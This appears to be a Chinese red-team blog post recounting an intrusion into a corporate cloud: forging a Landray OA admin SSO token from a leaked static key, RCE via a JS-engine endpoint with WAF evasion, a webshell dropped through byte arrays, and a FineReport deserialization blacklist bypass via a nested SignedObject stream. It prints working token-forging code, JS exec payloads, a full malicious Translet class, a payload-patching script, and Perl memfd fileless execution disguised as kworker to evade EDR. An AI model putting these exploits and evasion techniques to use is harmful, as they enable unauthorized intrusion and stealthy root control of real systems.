记一次帆软FineReport反序列化被拦后的二次绕过getshell


摘要由 AI 智能生成

国护项目打到某集团的云上集群

公网有个私有镜像仓库未授权 未授权 CVE-2022-46463 下载审计
本地翻源码 WEB-INF的KmssConfig里躺着SSO的静态密钥
校验就是SHA1(数据+key) 无RSA无服务端状态 拿着密钥本地给任意用户签token
伪造了个admin的LtpaToken 全站过滤器直接放行

const crypto = require('crypto');
function genLtpaToken(username, keyB64, maxAge = 432000) {
  const key = Buffer.from(keyB64, 'base64');   // KmssConfig/LRToken 里的 domino.security.key
  const now = Math.floor(Date.now() / 1000);
  const buf = Buffer.concat([
    Buffer.from([0, 1, 2, 3]),                  // 固定头
    Buffer.from(now.toString(16).toUpperCase(), 'ascii'),
    Buffer.from((now + maxAge).toString(16).toUpperCase(), 'ascii'),
    Buffer.from(username, 'utf8')               // admin
  ]);
  const digest = crypto.createHash('sha1').update(Buffer.concat([buf, key])).digest();
  return Buffer.concat([buf, digest]).toString('base64');
}

图5 伪造token登录回显

登录绕过了但还没有执行点
执行点是队友审计源码时抠出来的
产品自带的/sys/common/dataxml.jsp 挂着公式模拟bean sysFormulaSimulateByJS
script参数进JS引擎 Java.type能直接拿到Runtime
类名拆成两半绕WAF 一发id回显就是root

var R = Java.type("java.lang.Runt"+"ime").getRuntime().exec("id");
var S = new java.util.Scanner(R.getInputStream()).useDelimiter("\\A");
S.hasNext() ? S.next() : ""

webshell也走同一条通道写进去
jsp字节数组全转成数字序列 Java.to拼成byte[] nio的Files.write落盘
请求体里从头到尾全是数字 WAF没有特征可看

var p = String.fromCharCode(47,108,97,110,100,114,97,121,47,101,107,112,47,115,121,115,47,104,105,110,116,46,106,115,112);   // /landray/ekp/sys/hint.jsp
var F = Java.type("java.nio.file.Fi"+"les");
var P = Java.type("java.nio.file.Pat"+"hs");
F.write(P.get(p), Java.to([/*JSP字节数组394字节*/], "byte[]"));

落地的jsp带c参数 root执行 后面的操作全走它

前面还压着云WAF 命令文本直接传必被内容检测拦
通道里只走base64 服务端用系统自带的python解码exec
WAF看到的就是一串无特征字符 危险词全在解码之后

上线第一次栽了
stager按老套路落盘再执行 EPERM 文件紧接着还被删了
云盾HIDS在线 专拦外来ELF落盘
换memfd stager字节拉进内存文件 从/proc/self/fd直接exec
python白名单载体里fork出来 磁盘零落地
容器root到手 挂上socks5隧道

图6 memfd上线

顺着隧道扫中间件段 撞到一台帆软FineReport
决策平台开在8080 版本10.0.19 jar是22年7月编译的 带着官方反序列化黑名单补丁

先找反序列化入口
帆软的攻击面基本都堆在/webroot/decision下面
翻到remote/design/channel 远程设计的RPC 设计器跟服务端同步用的通道
body一层GZIP 解开就是Java序列化流
反序列化入口直接挂在HTTP上 连认证都不用

常规链直接打 CB链936字节发过去
响应里弹回来一条

java.lang.SecurityException Unsafe class blocked from deserialization  

死在resolveClass阶段 但这一枪不白打
报错堆栈把服务端的处理链直接亮出来了

RemoteDesignResource.onMessage
 └─ WorkContext.handleMessages
     └─ WorkspaceServerInvoker.deserializeInvocations
         └─ SerializerHelper.deserialize
             └─ GZipSerializerWrapper.deserialize    ← 先GZIP解压
                 └─ JDKSerializer.deserialize        ← 再Java原生反序列化

官方补丁是CustomObjectInputStream 重写了resolveClass

被打回来之后思路得换
这类黑名单的通病是只盯入口那一个流
ObjectInputStream可以套娃 只要找个类自己会在readObject里再开一个新的
去翻JDK源码 java.security.SignedObject正好是现成的船

// java.security.SignedObject#readObject
private void readObject(ObjectInputStream s) {
    ...
    byte[] content = ...;   // 攻击者完全可控的字节数组
    Object obj = new ObjectInputStream(
                     new ByteArrayInputStream(content)).readObject();
    //            ↑ 第二个是裸的ObjectInputStream
    //              不经过CustomObjectInputStream 黑名单失效
}

content塞什么它还原什么 第二层流不过黑名单 真正的链塞进content里走二层

把getObject调起来用帆软自己重打包的库拼
TreeBag的readObject进TreeMap排序 比较器一路调到内嵌Jackson的POJONode
Jackson序列化toString的时候会遍历getter 而getObject正好是SignedObject的一个getter

第二层链触发机制是第一层Jackson的序列化流程给的 二层直接上Hibernate的getter链
收尾到TemplatesImpl newTransformer defineClass把字节码加载成类
构造函数里的代码 就是服务端权限在执行

整条链最后长这样

【第一层流 · 全帆软自家类 过黑名单】
TreeBag.readObject → TreeMap.put → NaturalOrderComparator.compare
 → POJONode.toString(内嵌Jackson)
   → SignedObject.getObject    
       → new ObjectInputStream(content).readObject()   ← 第二层 无防护

【第二层流 · 任意执行】
 → Hibernate TypedValue/ComponentType → TemplatesImpl.getOutputProperties
   → newTransformer → defineClass(_bytecodes) → 恶意Translet实例化 → 构造函数执行

payload拿一份公开的参考PoC做字节替换 只换恶意类的字节码
序列化的handle序号基于对象序号 不增删对象只改字节段

恶意类继承AbstractTranslet 构造函数里跑命令 把输出拼进异常抛出去

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilWhoami2 extends AbstractTranslet {
    public EvilWhoami2() {
        try {
            Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/whoami"});
            java.io.BufferedReader r = new java.io.BufferedReader(
                new java.io.InputStreamReader(p.getInputStream(), "UTF-8"));
            String line, out = "";
            while ((line = r.readLine()) != null) { out += line; if (out.length() > 100) break; }
            throw new RuntimeException("ECHORESULT:" + out);
        } catch (RuntimeException e) { throw e; }
        catch (Exception e) { throw new RuntimeException("ECHORESULT_ERR:" + e.toString()); }
    }
    public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}

定位CAFEBABE魔数换字节码 同步改两处长度
class前面的int32和外层的内层流长度声明

import io, struct, gzip
raw   = io.open('ref_payload.ser', 'rb').read()      # 4078字节参考PoC
inner = raw[556:556+3452]                            # 内层流(第二段反序列化)
tail  = raw[556+3452:]
our   = io.open('EvilWhoami2.class', 'rb').read()

ci = inner.find(b'\xca\xfe\xba\xbe')                 # 定位class字节码魔数
old_len = struct.unpack('>i', inner[ci-4:ci])[0]     # 原class长度
new_inner = inner[:ci-4] + struct.pack('>i', len(our)) + our + inner[ci+old_len:]
new_raw   = raw[:552] + struct.pack('>i', 3452 + len(new_inner) - len(inner)) + new_inner + tail
io.open('payload.gz', 'wb').write(gzip.compress(new_raw))

回显不走外连 异常沿着调用链被包成JsonMappingException塞回正常HTTP响应体
收到响应解个压搜ECHORESULT就行

发包
成功执行whoami

ECHORESULT:root

图1 whoami回显

图2 首次执行回显

打通了 root

十几分钟后反转来了
所有/bin/sh -c的命令全部EPERM
先排除系统层 Seccomp 0 NoNewPrivs 0 CapEff全量 没有SELinux PID1是systemd完整虚机
不是内核沙箱 是主机EDR的钩子 而且只钩shell

逐个试
直连/usr/bin/whoami通
python3 -c通 uid=0
perl -e通
纯Java不启进程 文件读网卡枚举内网连接全干 EDR完全没视角

后面所有payload改成直连二进制 恶意类里Runtime.exec直接拉目标程序 不过sh

最后的shell走memfd落地 不写磁盘
OA那台上是python的ctypes版 这里换perl 参考写法

my $name = "a";
my $fd = syscall(319, $name, 0);       # memfd_create 名字必须走变量 字面量报read-only
open(my $mh, ">&=", $fd) or die $!;    # fdopen复用fd 绝不能close 一close memfd直接销毁

执行体写进句柄 从/proc/self/fd直接跑
进程挂在纯内存文件上无磁盘路径 父进程1 root 进程名顺手改成kworker

图3 memfd进程

图4 root权限

反序列化利用里/bin/sh一把梭是最脆的形态
纯Java打底 直连二进制 解释器-c 最后才轮到sh EDR环境下活得最久

评论区
头像